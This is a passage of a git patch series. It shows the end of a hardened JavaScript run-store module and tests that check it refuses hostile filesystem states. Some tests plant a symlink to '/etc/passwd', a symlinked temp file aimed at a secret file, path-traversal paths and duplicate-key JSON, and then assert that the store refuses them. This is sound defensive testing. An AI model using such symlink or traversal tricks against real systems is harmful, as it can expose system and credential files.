${MAX_RUN_STORE_RECORD_BYTES} bytes.`); + } + return { record, canonical, bytes }; +} + +function assertMatchingIdentities(input) { + const identity = validateRunIdentityV1(input.identity, 'identity'); + const git = validateGitIdentityV1(input.git, 'git'); + assertSharedGitIdentityV1(identity.git, git, 'git'); + const provenance = validateDispatchProvenanceV1(input.provenance); + const telemetry = validateDispatchTelemetryV1(input.telemetry); + if (identity.run_id !== input.run_id || provenance.run.run_id !== input.run_id) { + failStore('run_identity_mismatch', 'run_id', + 'Run store records must bind one run identity.'); + } + if (identity.digest !== provenance.run.digest) { + failStore('run_identity_mismatch', 'identity', + 'Run identity does not match the stored provenance run.'); + } + if (git.digest !== provenance.git.digest || git.digest !== identity.git.digest) { + failStore('run_identity_mismatch', 'git', + 'Git identity does not match the immutable repository/base authority.'); + } + if (provenance.provider_run.request_idempotency_key !== input.request_idempotency_key) { + failStore('run_identity_mismatch', 'request_idempotency_key', + 'Request idempotency key does not match the protected provider-run key.'); + } + const projected = projectDispatchTelemetryV1(provenance); + const projectedCanonical = canonicalJsonStringify(projected); + const telemetryCanonical = canonicalJsonStringify(telemetry); + if (projectedCanonical !== telemetryCanonical) { + failStore('run_identity_mismatch', 'telemetry', + 'Telemetry must be the content-free projection of the stored provenance.'); + } + return { identity, git, provenance, telemetry }; +} + +function parseSubmitInput(input) { + if (input === undefined || input === null) { + failStore('invalid_type', 'record', 'Run store submission must be a plain JSON data object.'); + } + assertDirectJsonClosure(input, 'record'); + const fields = closedObject(input, 'record', RUN_STORE_INPUT_KEYS); + assertRunId(fields.run_id, 'run_id'); + assertBoundDigest(fields.request_idempotency_key, 'request_idempotency_key'); + const bound = assertMatchingIdentities(fields); + return bindRecord({ + schema: RUN_STORE_RECORD_SCHEMA_ID, + run_id: fields.run_id, + request_idempotency_key: fields.request_idempotency_key, + identity: bound.identity, + git: bound.git, + provenance: bound.provenance, + telemetry: bound.telemetry, + }); +} + +function assertNoDuplicateJsonKeys(text, field) { + if (typeof text !== 'string') { + failStore('run_store_malformed_record', field, 'Run store records must be UTF-8 JSON text.'); + } + const scopes = [{ object: false, keys: new Set() }]; + let inString = false; + let escaped = false; + let stringStart = -1; + for (let index = 0; index < text.length; index += 1) { + const char = text[index]; + if (inString) { + if (escaped) escaped = false; + else if (char === '\\') escaped = true; + else if (char === '"') { + inString = false; + const scope = scopes[scopes.length - 1]; + if (scope.object) { + let cursor = index + 1; + while (cursor < text.length && (text[cursor] === ' ' || text[cursor] === '\n' + || text[cursor] === '\r' || text[cursor] === '\t')) { + cursor += 1; + } + if (text[cursor] === ':') { + let key; + try { + key = JSON_PARSE(text.slice(stringStart - 1, index + 1)); + } catch { + failStore('run_store_malformed_record', field, 'Run store JSON key is invalid.'); + } + if (scope.keys.has(key)) { + failStore('run_store_duplicate_entry', field, + 'Run store JSON objects must not contain duplicate keys.'); + } + scope.keys.add(key); + } + } + } + continue; + } + if (char === '"') { + inString = true; + stringStart = index + 1; + continue; + } + if (char === '{') { + scopes.push({ object: true, keys: new Set() }); + if (scopes.length > 40) { + failStore('run_store_malformed_record', field, 'Run store JSON exceeds the nesting bound.'); + } + continue; + } + if (char === '[') { + scopes.push({ object: false, keys: new Set() }); + if (scopes.length > 40) { + failStore('run_store_malformed_record', field, 'Run store JSON exceeds the nesting bound.'); + } + continue; + } + if (char === '}' || char === ']') { + if (scopes.length <= 1) { + failStore('run_store_malformed_record', field, 'Run store JSON is unbalanced.'); + } + scopes.pop(); + } + } + if (inString || scopes.length !== 1) { + failStore('run_store_malformed_record', field, 'Run store JSON is incomplete.'); + } +} + +function decodeUtf8(bytes, field) { + if (bytes.byteLength >= 3 && bytes[0] === 0xef && bytes[1] === 0xbb && bytes[2] === 0xbf) { + failStore('run_store_malformed_record', field, 'Run store records must not begin with a UTF-8 BOM.'); + } + try { + return TEXT_DECODER.decode(bytes); + } catch { + failStore('run_store_malformed_record', field, 'Run store records must be valid UTF-8.'); + } +} + +function parseStoredRecord(bytes, field) { + if (!NodeBuffer.isBuffer(bytes) || bytes.byteLength === 0) { + failStore('run_store_malformed_record', field, 'Run store record is truncated.'); + } + if (bytes.byteLength > MAX_RUN_STORE_RECORD_BYTES) { + failStore('run_store_record_too_large', field, + `Run store records must not exceed ${MAX_RUN_STORE_RECORD_BYTES} bytes.`); + } + const text = decodeUtf8(bytes, field); + assertNoDuplicateJsonKeys(text, field); + let parsed; + try { + parsed = JSON_PARSE(text); + } catch { + failStore('run_store_malformed_record', field, 'Run store record is not valid JSON.'); + } + if (parsed === undefined || parsed === null || typeof parsed !== 'object' || Array.isArray(parsed)) { + failStore('run_store_malformed_record', field, 'Run store record must be a JSON object.'); + } + assertDirectJsonClosure(parsed, field); + const fields = closedObject(parsed, field, RUN_STORE_RECORD_KEYS); + if (fields.schema !== RUN_STORE_RECORD_SCHEMA_ID) { + failStore('run_store_malformed_record', `${field}.schema`, + `Run store schema must be exactly "${RUN_STORE_RECORD_SCHEMA_ID}".`); + } + assertRunId(fields.run_id, `${field}.run_id`); + assertBoundDigest(fields.request_idempotency_key, `${field}.request_idempotency_key`); + if (!capturedTest(SHA256_DIGEST_PATTERN, fields.canonical_digest)) { + failStore('invalid_format', `${field}.canonical_digest`, + 'Run store canonical digest must be a sha256 digest.'); + } + const bound = assertMatchingIdentities(fields); + const rebuilt = bindRecord({ + schema: RUN_STORE_RECORD_SCHEMA_ID, + run_id: fields.run_id, + request_idempotency_key: fields.request_idempotency_key, + identity: bound.identity, + git: bound.git, + provenance: bound.provenance, + telemetry: bound.telemetry, + }); + if (rebuilt.record.canonical_digest !== fields.canonical_digest + || !equalBytes(rebuilt.bytes, bytes)) { + failStore('run_identity_mismatch', field, + 'Stored canonical bytes do not match the recomputed P06-bound record.'); + } + return rebuilt; +} + +async function openChildFile(rootPath, name, flags, field) { + const target = childPath(rootPath, name); + try { + return await open(target, flags, 0o600); + } catch (error) { + if (error?.code === 'ENOENT') return null; + if (error?.code === 'ELOOP' || error?.code === 'EISDIR' || error?.code === 'ENOTDIR') { + failStore('run_store_not_regular', field, 'Run store files must be regular non-symlink files.'); + } + if (error?.code === 'EEXIST') return undefined; + mapErrno(error, field, 'run_store_unreadable', 'The run store file could not be opened safely.'); + } +} + +async function readExactFile(rootPath, name, maxBytes, field) { + const handle = await openChildFile(rootPath, name, FILE_READ_FLAGS, field); + if (handle === null) return null; + try { + const stat = await handle.stat(); + assertRegularUnsharedFile(stat, field); + const size = Number(stat.size); + if (!NUMBER_IS_SAFE_INTEGER(size) || size > maxBytes) { + failStore('run_store_record_too_large', field, 'Run store file exceeds the bounded size.'); + } + const bytes = await handle.readFile(); + if (bytes.byteLength > maxBytes) { + failStore('run_store_record_too_large', field, 'Run store file exceeds the bounded size.'); + } + const after = await handle.stat(); + if (Number(after.ino) !== Number(stat.ino) || Number(after.dev) !== Number(stat.dev) + || Number(after.size) !== Number(stat.size) || Number(after.nlink) !== Number(stat.nlink)) { + failStore('run_store_unreadable', field, 'The run store file changed while it was read.'); + } + return { bytes, stat }; + } finally { + await handle.close().catch(() => {}); + } +} + +async function inspectChild(rootPath, name, field) { + const handle = await openChildFile(rootPath, name, FILE_READ_FLAGS, field); + if (handle === null) return { kind: 'missing' }; + try { + const stat = await handle.stat(); + if (stat.isSymbolicLink() || !stat.isFile()) { + failStore('run_store_not_regular', field, 'Run store files must be regular non-symlink files.'); + } + return { kind: 'file', stat }; + } finally { + await handle.close().catch(() => {}); + } +} + +async function syncDirectory(rootHandle) { + try { + await rootHandle.sync(); + } catch (error) { + if (error?.code === 'EINVAL' || error?.code === 'ENOTSUP') return; + failStore('run_store_unreadable', 'root', 'The run store directory could not be synchronized.'); + } +} + +async function writePrivateTemp(root, bytes) { + const name = `.tmp-${RANDOM_BYTES(16).toString('hex')}`; + const target = childPath(root.path, name); + const handle = await openChildFile(root.path, name, FILE_CREATE_FLAGS, 'temporary'); + if (handle === null || handle === undefined) { + failStore('run_store_unreadable', 'temporary', 'A private temporary file could not be created exclusively.'); + } + try { + await handle.chmod(0o600); + await handle.writeFile(bytes); + await handle.sync(); + const stat = await handle.stat(); + assertRegularUnsharedFile(stat, 'temporary'); + if (Number(stat.size) !== bytes.byteLength) { + failStore('run_store_unreadable', 'temporary', 'Temporary write was truncated.'); + } + await syncDirectory(root.handle); + return { name, path: target }; + } catch (error) { + await handle.close().catch(() => {}); + await unlink(target).catch(() => {}); + throw error; + } finally { + await handle.close().catch(() => {}); + } +} + +async function unlinkPrivateTemp(rootPath, name) { + if (!capturedTest(TEMP_NAME_PATTERN, name)) return; + const target = childPath(rootPath, name); + try { + const handle = await open(target, FILE_READ_FLAGS); + try { + const stat = await handle.stat(); + if (!stat.isFile() || stat.isSymbolicLink()) { + failStore('run_store_torn_temporary', 'temporary', + 'A leftover temporary path is not a regular file and was not followed.'); + } + const uid = ownerUid(); + if (uid !== undefined && Number(stat.uid) !== uid) return; + } finally { + await handle.close().catch(() => {}); + } + await unlink(target); + } catch (error) { + if (error instanceof RunContractV1Error) throw error; + if (error?.code === 'ENOENT') return; + if (error?.code === 'ELOOP') { + failStore('run_store_torn_temporary', 'temporary', + 'A leftover temporary path is a symbolic link and was not followed.'); + } + } +} + +async function exclusiveLink(tmpPath, destPath, field) { + try { + await link(tmpPath, destPath); + } catch (error) { + if (error?.code === 'EEXIST') return false; + if (error?.code === 'ELOOP') { + failStore('run_store_not_regular', field, 'Run store files must be regular non-symlink files.'); + } + mapErrno(error, field, 'run_store_unreadable', 'The run store record could not be published exclusively.'); + } + return true; +} + +async function readKeyPointer(rootPath, keyName, field) { + const opened = await readExactFile(rootPath, keyName, MAX_RUN_STORE_KEY_FILE_BYTES, field); + if (opened === null) return null; + const text = decodeUtf8(opened.bytes, field).replace(/\n$/u, ''); + assertRunId(text, field); + return text; +} + +async function enumerateDirectory(root) { + let dir; + try { + dir = await opendir(root.path, { bufferSize: 16 }); + } catch (error) { + mapErrno(error, 'root', 'run_store_unreadable', 'The run store directory could not be enumerated.'); + } + const names = []; + try { + let count = 0; + while (true) { + const entry = await dir.read(); + if (entry === null) break; + count += 1; + if (count > MAX_RUN_STORE_DIRECTORY_ENTRIES) { + failStore('run_store_too_many_entries', 'root', + `Run store directories must not exceed ${MAX_RUN_STORE_DIRECTORY_ENTRIES} entries.`); + } + if (entry.name === '.' || entry.name === '..') continue; + names.push(assertSafeChildName(entry.name, 'root')); + } + } finally { + await dir.close().catch(() => {}); + } + return names; +} + +async function auditStore(root) { + const before = await root.handle.stat(); + const names = await enumerateDirectory(root); + const after = await root.handle.stat(); + if (!sameIdentity(before, after) || Number(before.mode) !== Number(after.mode)) { + failStore('run_store_root_unsafe', 'root', + 'The run store root changed while it was audited.'); + } + const records = capturedCreate(null); + const keys = capturedCreate(null); + const seenKeys = capturedCreate(null); + let recordCount = 0; + for (const name of names) { + const kind = classifyName(name); + if (kind === 'temp') { + failStore('run_store_torn_temporary', 'temporary', + 'Leftover temporary files are not authoritative and are not followed.'); + } + if (kind === 'foreign') { + failStore('run_store_foreign_entry', 'root', + 'The run store directory contains a foreign or oversized entry.'); + } + const inspection = await inspectChild(root.path, name, kind); + if (inspection.kind !== 'file') { + failStore('run_store_not_regular', kind, 'Run store files must be regular non-symlink files.'); + } + assertRegularUnsharedFile(inspection.stat, kind); + if (kind === 'record') { + recordCount += 1; + if (recordCount > MAX_RUN_STORE_ENTRIES) { + failStore('run_store_too_many_entries', 'root', + `Run store directories must not exceed ${MAX_RUN_STORE_ENTRIES} records.`); + } + const opened = await readExactFile(root.path, name, MAX_RUN_STORE_RECORD_BYTES, 'record'); + if (opened === null) { + failStore('run_store_torn_record', 'record', 'A named run record could not be read.'); + } + const parsed = parseStoredRecord(opened.bytes, 'record'); + const expectedName = recordNameFor(parsed.record.run_id); + if (expectedName !== name) { + failStore('run_store_foreign_entry', 'record', + 'Record filename does not match the bound run id.'); + } + if (capturedHasOwn(records, parsed.record.run_id)) { + failStore('run_store_duplicate_entry', 'run_id', + 'Run store directories must contain one record per run id.'); + } + if (capturedHasOwn(seenKeys, parsed.record.request_idempotency_key)) { + failStore('run_store_duplicate_entry', 'request_idempotency_key', + 'Run store directories must contain one record per request idempotency key.'); + } + records[parsed.record.run_id] = parsed.record; + seenKeys[parsed.record.request_idempotency_key] = parsed.record.run_id; + } else { + const runId = await readKeyPointer(root.path, name, 'key'); + const hex = name.slice(2); + const requestKey = `sha256:${hex}`; + if (capturedHasOwn(keys, requestKey)) { + failStore('run_store_duplicate_entry', 'request_idempotency_key', + 'Run store directories must contain one key pointer per request.'); + } + keys[requestKey] = runId; + } + } + const recordIds = sortedCapturedKeys(records); + for (const runId of recordIds) { + const record = records[runId]; + const expectedKeyName = keyNameFor(record.request_idempotency_key); + const pointed = keys[record.request_idempotency_key]; + if (pointed === undefined) { + failStore('run_store_torn_record', 'request_idempotency_key', + 'Run records require a matching request idempotency pointer.'); + } + if (pointed !== runId) { + failStore('run_identity_mismatch', 'request_idempotency_key', + 'Request idempotency pointer does not name the stored run.'); + } + if (!capturedIncludes(names, expectedKeyName)) { + failStore('run_store_torn_record', 'request_idempotency_key', + 'Run records require a matching request idempotency pointer.'); + } + } + for (const requestKey of sortedCapturedKeys(keys)) { + if (!capturedHasOwn(seenKeys, requestKey)) { + failStore('run_store_torn_record', 'request_idempotency_key', + 'A request idempotency pointer has no matching run record.'); + } + } + return { records, keys: seenKeys }; +} + +function withStoreChain(token, operation) { + const id = `${STRING(token.dev)}:${STRING(token.ino)}`; + const previous = STORE_CHAINS.get(id) ?? Promise.resolve(); + const current = previous.catch(() => {}).then(operation); + const settled = current.catch(() => {}).then(() => { + if (STORE_CHAINS.get(id) === settled) STORE_CHAINS.delete(id); + }); + STORE_CHAINS.set(id, settled); + return current; +} + +function conflictFor(existing, candidate) { + if (existing.run_id === candidate.run_id + && existing.request_idempotency_key === candidate.request_idempotency_key + && existing.canonical_digest === candidate.canonical_digest) { + return null; + } + if (existing.request_idempotency_key === candidate.request_idempotency_key) { + failStore('run_idempotency_conflict', 'request_idempotency_key', + 'Request idempotency key already binds a different canonical body.'); + } + failStore('run_identity_conflict', 'run_id', + 'Run id already binds a different body or request idempotency key.'); +} + +function listProjection(record) { + return snapshotRecord({ + run_id: record.run_id, + request_idempotency_key: record.request_idempotency_key, + identity_digest: record.identity.digest, + git_digest: record.git.digest, + canonical_digest: record.canonical_digest, + }); +} + +async function operate(token, fn) { + return withStoreChain(token, async () => { + const root = await assertRootUnchanged(token); + try { + const inventory = await auditStore(root); + return await fn(root, inventory); + } finally { + await root.handle.close().catch(() => {}); + } + }); +} + +async function publishRecord(root, prepared) { + const recordName = recordNameFor(prepared.record.run_id); + const keyName = keyNameFor(prepared.record.request_idempotency_key); + const keyBytes = BUFFER_FROM(`${prepared.record.run_id}\n`, 'utf8'); + const recordTmp = await writePrivateTemp(root, prepared.bytes); + let keyTmp; + try { + keyTmp = await writePrivateTemp(root, keyBytes); + const keyPath = childPath(root.path, keyName); + const recordPath = childPath(root.path, recordName); + const linkedKey = await exclusiveLink(keyTmp.path, keyPath, 'request_idempotency_key'); + if (!linkedKey) { + const owner = await readKeyPointer(root.path, keyName, 'request_idempotency_key'); + const existingName = owner ? recordNameFor(owner) : recordName; + const existing = await readExactFile(root.path, existingName, MAX_RUN_STORE_RECORD_BYTES, 'record'); + if (existing === null) { + failStore('run_store_torn_record', 'request_idempotency_key', + 'A request idempotency pointer has no matching run record.'); + } + const parsed = parseStoredRecord(existing.bytes, 'record'); + conflictFor(parsed.record, prepared.record); + return { record: parsed.record, created: false }; + } + const linkedRecord = await exclusiveLink(recordTmp.path, recordPath, 'run_id'); + if (!linkedRecord) { + await unlink(keyPath).catch(() => {}); + const existing = await readExactFile(root.path, recordName, MAX_RUN_STORE_RECORD_BYTES, 'record'); + if (existing === null) { + failStore('run_identity_conflict', 'run_id', + 'Run id already binds a different body or request idempotency key.'); + } + const parsed = parseStoredRecord(existing.bytes, 'record'); + conflictFor(parsed.record, prepared.record); + return { record: parsed.record, created: false }; + } + await unlinkPrivateTemp(root.path, recordTmp.name); + await unlinkPrivateTemp(root.path, keyTmp.name); + await syncDirectory(root.handle); + const published = await readExactFile(root.path, recordName, MAX_RUN_STORE_RECORD_BYTES, 'record'); + if (published === null) { + failStore('run_store_torn_record', 'record', 'Published run record could not be re-read.'); + } + const parsed = parseStoredRecord(published.bytes, 'record'); + return { record: parsed.record, created: true }; + } finally { + await unlinkPrivateTemp(root.path, recordTmp.name); + if (keyTmp) await unlinkPrivateTemp(root.path, keyTmp.name); + } +} + +export async function openRunStore(rootPath) { + const opened = await openRootHandle(rootPath); + try { + const inventory = await auditStore(opened); + const token = capturedFreeze({ + path: opened.path, + dev: opened.dev, + ino: opened.ino, + }); + freezeData(inventory.records); + freezeData(inventory.keys); + return capturedFreeze({ + root: token.path, + async submit(input) { + const prepared = parseSubmitInput(input); + return operate(token, async (root, current) => { + const existing = current.records[prepared.record.run_id]; + const keyed = current.keys[prepared.record.request_idempotency_key]; + if (existing) { + conflictFor(existing, prepared.record); + return { record: existing, created: false }; + } + if (keyed !== undefined) { + const other = current.records[keyed]; + if (other) conflictFor(other, prepared.record); + failStore('run_idempotency_conflict', 'request_idempotency_key', + 'Request idempotency key already binds a different canonical body.'); + } + if (sortedCapturedKeys(current.records).length >= MAX_RUN_STORE_ENTRIES) { + failStore('run_store_too_many_entries', 'root', + `Run store directories must not exceed ${MAX_RUN_STORE_ENTRIES} records.`); + } + return publishRecord(root, prepared); + }); + }, + async getByRunId(runId) { + assertRunId(runId, 'run_id'); + return operate(token, async (_root, current) => { + const record = current.records[runId]; + if (!record) failStore('run_store_not_found', 'run_id', 'No run record exists for that run id.'); + return record; + }); + }, + async getByIdempotencyKey(requestKey) { + assertBoundDigest(requestKey, 'request_idempotency_key'); + return operate(token, async (_root, current) => { + const runId = current.keys[requestKey]; + if (runId === undefined) { + failStore('run_store_not_found', 'request_idempotency_key', + 'No run record exists for that request idempotency key.'); + } + return current.records[runId]; + }); + }, + async list() { + return operate(token, async (_root, current) => { + const ids = sortedCapturedKeys(current.records); + const entries = ids.map((runId) => listProjection(current.records[runId])); + return capturedFreeze(entries); + }); + }, + }); + } finally { + await opened.handle.close().catch(() => {}); + } +} + +capturedFreeze(openRunStore); +capturedFreeze(parseSubmitInput); +capturedFreeze(parseStoredRecord); From da69ebede1b2d6b3241ed330621fc4d5ee6e1773 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sat, 22 Aug 2026 20:11:45 +0000 Subject: [PATCH 008/151] test(run): cover hostile replay, restart, and path-safety Add focused and adversarial coverage for idempotent replay, identity and idempotency conflicts, concurrent duplicate submissions, process restart restore, symlink and hardlink refusal, path traversal, malformed truncated oversized and foreign files, torn temps, proxy accessor alias and cycle inputs, and bounded directory floods. --- .../test/fixtures/r1-run-store-fixtures.mjs | 129 +++++++ .../test/r1-run-store-adversarial.test.mjs | 316 ++++++++++++++++++ .../test/r1-run-store.test.mjs | 203 +++++++++++ 3 files changed, 648 insertions(+) create mode 100644 plugins/codex-co-engineer/test/fixtures/r1-run-store-fixtures.mjs create mode 100644 plugins/codex-co-engineer/test/r1-run-store-adversarial.test.mjs create mode 100644 plugins/codex-co-engineer/test/r1-run-store.test.mjs diff --git a/plugins/codex-co-engineer/test/fixtures/r1-run-store-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-run-store-fixtures.mjs new file mode 100644 index 0000000..cb250fa --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-run-store-fixtures.mjs @@ -0,0 +1,129 @@ +// Neutral builders for durable run-store tests. Tests own the assertions. + +import { chmod, mkdtemp } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; + +import { + buildChildIdentityV1, + buildDispatchAttemptV1, + buildProviderRunIdentityV1, + buildRunIdentityV1, + buildWorkspaceIdentityV1, +} from '../../mcp/v3/protected-identity.mjs'; +import { + buildDispatchProvenanceV1, + projectDispatchTelemetryV1, +} from '../../mcp/v3/protected-telemetry.mjs'; +import { + ASSIGNMENT_ID, + BRANCH_NAME, + LOCK_ID, + OPENED_AT, + REPOSITORY_PATH, + RUN_ID, + WORKTREE_PATH, + fixtureCapabilityDigest, + fixtureEnvelopeDigest, + fixtureGit, + fixtureLaneDigest, + fixtureManifestDigest, +} from './r1-protected-identity-fixtures.mjs'; + +export { + ASSIGNMENT_ID, + REPOSITORY_PATH, + RUN_ID, + fixtureGit, +}; + +export async function makePrivateRoot(prefix = 'r1-run-store-') { + const root = await mkdtemp(path.join(tmpdir(), prefix)); + await chmod(root, 0o700); + return root; +} + +export function makeSubmission({ + runId = RUN_ID, + assignmentId = ASSIGNMENT_ID, + attempt = 1, + counters = { dispatch_calls: 0, wake_events: 0, outcome_events: 0 }, + git = fixtureGit(), +} = {}) { + const identity = buildRunIdentityV1({ + run_id: runId, + git, + manifest_digest: fixtureManifestDigest(), + }); + const workspace = buildWorkspaceIdentityV1({ + run_id: runId, + assignment_id: assignmentId, + git, + semantics: 'local_managed_worktree', + starting_point: 'run_base_sha', + worktree_path: WORKTREE_PATH, + branch: BRANCH_NAME, + lock_id: LOCK_ID, + starting_ref: null, + }); + const child = buildChildIdentityV1({ run_id: runId, assignment_id: assignmentId }); + const dispatch = buildDispatchAttemptV1({ + run_id: runId, + assignment_id: assignmentId, + attempt, + }); + const providerRun = buildProviderRunIdentityV1({ + run_id: runId, + assignment_id: assignmentId, + attempt, + provider: 'grok', + model: 'grok-4', + git, + manifest_digest: fixtureManifestDigest(), + prompt_envelope_digest: fixtureEnvelopeDigest(), + resolved_lane_digest: fixtureLaneDigest(), + capability_snapshot_digest: fixtureCapabilityDigest(), + agent_id: null, + provider_run_id: null, + }); + const provenance = buildDispatchProvenanceV1({ + revision: 1, + run: identity, + child, + git, + workspace, + dispatch, + provider_run: providerRun, + requested: { provider: 'grok', model: 'grok-4' }, + resolved: { provider: 'grok', model: 'grok-4', role: 'implement' }, + observed: { provider: null, model: null }, + observation: null, + model_mismatch: 'served_model_not_observed', + repository_exposure: 'selected_external_provider_full_repository', + lineage: { + manifest_digest: identity.manifest_digest, + prompt_envelope_digest: providerRun.prompt_envelope_digest, + resolved_lane_digest: providerRun.resolved_lane_digest, + capability_snapshot_digest: providerRun.capability_snapshot_digest, + git_digest: git.digest, + workspace_digest: workspace.digest, + }, + timing: { + opened_at: OPENED_AT, + dispatched_at: null, + settled_at: null, + dispatch_latency_ms: null, + total_duration_ms: null, + }, + counters, + outcome: 'pending', + }); + return { + run_id: runId, + request_idempotency_key: providerRun.request_idempotency_key, + identity, + git, + provenance, + telemetry: projectDispatchTelemetryV1(provenance), + }; +} diff --git a/plugins/codex-co-engineer/test/r1-run-store-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-run-store-adversarial.test.mjs new file mode 100644 index 0000000..e20e5a5 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-run-store-adversarial.test.mjs @@ -0,0 +1,316 @@ +import assert from 'node:assert/strict'; +import { + chmod, + link, + lstat, + mkdir, + open, + readdir, + rm, + symlink, + truncate, + writeFile, +} from 'node:fs/promises'; +import path from 'node:path'; +import test from 'node:test'; +import { types as utilTypes } from 'node:util'; + +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + MAX_RUN_STORE_DIRECTORY_ENTRIES, + MAX_RUN_STORE_ENTRIES, + MAX_RUN_STORE_RECORD_BYTES, + openRunStore, +} from '../mcp/v3/run-store.mjs'; +import { countingProxy, trapTotal } from './fixtures/r1-resolver-fixtures.mjs'; +import { + RUN_ID, + makePrivateRoot, + makeSubmission, +} from './fixtures/r1-run-store-fixtures.mjs'; + +function errorOf(action) { + return Promise.resolve() + .then(action) + .then(() => assert.fail('expected a typed RunContractV1Error'), (error) => { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + return error; + }); +} + +function assertNoSecret(error) { + assert.doesNotMatch(error.message, /ATTACKER-SECRET/u); + assert.doesNotMatch(error.message, /sk-live/u); +} + +async function withStore(fn) { + const root = await makePrivateRoot(); + try { + const store = await openRunStore(root); + return await fn(root, store); + } finally { + await rm(root, { recursive: true, force: true }); + } +} + +test('concurrent duplicate submissions preserve one authoritative record', async () => { + await withStore(async (root, store) => { + const input = makeSubmission(); + const results = await Promise.all(Array.from({ length: 8 }, () => store.submit(input))); + const created = results.filter((result) => result.created); + assert.equal(created.length, 1); + const digest = created[0].record.canonical_digest; + for (const result of results) { + assert.equal(result.record.canonical_digest, digest); + } + const names = await readdir(root); + assert.equal(names.filter((name) => name.endsWith('.json')).length, 1); + assert.equal(names.filter((name) => name.startsWith('k-')).length, 1); + assert.ok(!names.some((name) => name.startsWith('.tmp-'))); + }); +}); + +test('concurrent conflicting bodies serialize to one winner and typed conflicts', async () => { + await withStore(async (_root, store) => { + const first = makeSubmission(); + const second = makeSubmission({ + counters: { dispatch_calls: 0, wake_events: 4, outcome_events: 0 }, + }); + const results = await Promise.allSettled([ + store.submit(first), + store.submit(second), + store.submit(first), + store.submit(second), + ]); + const fulfilled = results.filter((result) => result.status === 'fulfilled').map((result) => result.value); + const rejected = results.filter((result) => result.status === 'rejected').map((result) => result.reason); + assert.ok(fulfilled.length >= 1); + assert.equal(new Set(fulfilled.map((result) => result.record.canonical_digest)).size, 1); + for (const error of rejected) { + assert.ok(error instanceof RunContractV1Error); + assert.ok(error.code === 'run_idempotency_conflict' || error.code === 'run_identity_conflict'); + } + }); +}); + +test('symlink root, record, and temporary names fail closed without following', async () => { + const parent = await makePrivateRoot('r1-run-store-sym-'); + try { + const real = path.join(parent, 'real'); + await mkdir(real, { mode: 0o700 }); + await chmod(real, 0o700); + const linked = path.join(parent, 'linked'); + await symlink(real, linked); + assert.equal((await errorOf(() => openRunStore(linked))).code, 'run_store_root_unsafe'); + + const store = await openRunStore(real); + await store.submit(makeSubmission()); + await rm(path.join(real, `${RUN_ID}.json`)); + await symlink('/etc/passwd', path.join(real, `${RUN_ID}.json`)); + const error = await errorOf(() => openRunStore(real)); + assert.ok(error.code === 'run_store_not_regular' || error.code === 'run_store_root_unsafe'); + assertNoSecret(error); + + const tempRoot = path.join(parent, 'temps'); + await mkdir(tempRoot, { mode: 0o700 }); + await chmod(tempRoot, 0o700); + const target = path.join(parent, 'secret-target'); + await writeFile(target, 'ATTACKER-SECRET', { mode: 0o600 }); + await symlink(target, path.join(tempRoot, `.tmp-${'ab'.repeat(16)}`)); + const tempError = await errorOf(() => openRunStore(tempRoot)); + assert.equal(tempError.code, 'run_store_torn_temporary'); + assertNoSecret(tempError); + assert.equal((await lstat(target)).isFile(), true); + } finally { + await rm(parent, { recursive: true, force: true }); + } +}); + +test('hardlinked records and path-traversal names fail closed', async () => { + await withStore(async (root, store) => { + await store.submit(makeSubmission()); + const record = path.join(root, `${RUN_ID}.json`); + const alias = path.join(root, 'k-deadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeef'); + await link(record, alias); + assert.equal((await errorOf(() => openRunStore(root))).code, 'run_store_not_regular'); + }); + + const outside = await makePrivateRoot('r1-run-store-out-'); + try { + assert.equal((await errorOf(() => openRunStore(`${outside}/../${path.basename(outside)}`))).code, + 'run_store_path_unsafe'); + assert.equal((await errorOf(() => openRunStore(`${outside}/.`))).code, 'run_store_path_unsafe'); + } finally { + await rm(outside, { recursive: true, force: true }); + } +}); + +test('malformed truncated oversized and foreign files fail closed', async () => { + await withStore(async (root, store) => { + await store.submit(makeSubmission()); + const record = path.join(root, `${RUN_ID}.json`); + await writeFile(record, '{"schema":"codex-co-engineer.run-store-record.v1"'); + assert.equal((await errorOf(() => openRunStore(root))).code, 'run_store_malformed_record'); + }); + + await withStore(async (root, store) => { + await store.submit(makeSubmission()); + const record = path.join(root, `${RUN_ID}.json`); + await truncate(record, 12); + const error = await errorOf(() => openRunStore(root)); + assert.ok(['run_store_malformed_record', 'run_store_torn_record'].includes(error.code), error.code); + }); + + const huge = await makePrivateRoot('r1-run-store-huge-'); + try { + await writeFile(path.join(huge, 'notes.txt'), 'foreign', { mode: 0o600 }); + assert.equal((await errorOf(() => openRunStore(huge))).code, 'run_store_foreign_entry'); + } finally { + await rm(huge, { recursive: true, force: true }); + } + + const oversized = await makePrivateRoot('r1-run-store-over-'); + try { + const handle = await open(path.join(oversized, `${RUN_ID}.json`), 'wx', 0o600); + await handle.writeFile(`${'x'.repeat(MAX_RUN_STORE_RECORD_BYTES + 1)}`); + await handle.close(); + const error = await errorOf(() => openRunStore(oversized)); + assert.ok(['run_store_record_too_large', 'run_store_malformed_record', 'run_store_torn_record'] + .includes(error.code), error.code); + } finally { + await rm(oversized, { recursive: true, force: true }); + } +}); + +test('duplicate JSON keys and leftover torn temps are refused', async () => { + await withStore(async (root, store) => { + const created = await store.submit(makeSubmission()); + const record = path.join(root, `${RUN_ID}.json`); + const text = JSON.stringify({ + schema: created.record.schema, + run_id: created.record.run_id, + request_idempotency_key: created.record.request_idempotency_key, + identity: created.record.identity, + git: created.record.git, + provenance: created.record.provenance, + telemetry: created.record.telemetry, + canonical_digest: created.record.canonical_digest, + }).replace('"run_id":', '"run_id":"ATTACKER-SECRET","run_id":'); + await writeFile(record, `${text}\n`, { mode: 0o600 }); + const error = await errorOf(() => openRunStore(root)); + assert.equal(error.code, 'run_store_duplicate_entry'); + assertNoSecret(error); + }); + + const torn = await makePrivateRoot('r1-run-store-torn-'); + try { + await writeFile(path.join(torn, `.tmp-${'cd'.repeat(16)}`), 'partial', { mode: 0o600 }); + assert.equal((await errorOf(() => openRunStore(torn))).code, 'run_store_torn_temporary'); + const names = await readdir(torn); + assert.ok(names.some((name) => name.startsWith('.tmp-'))); + } finally { + await rm(torn, { recursive: 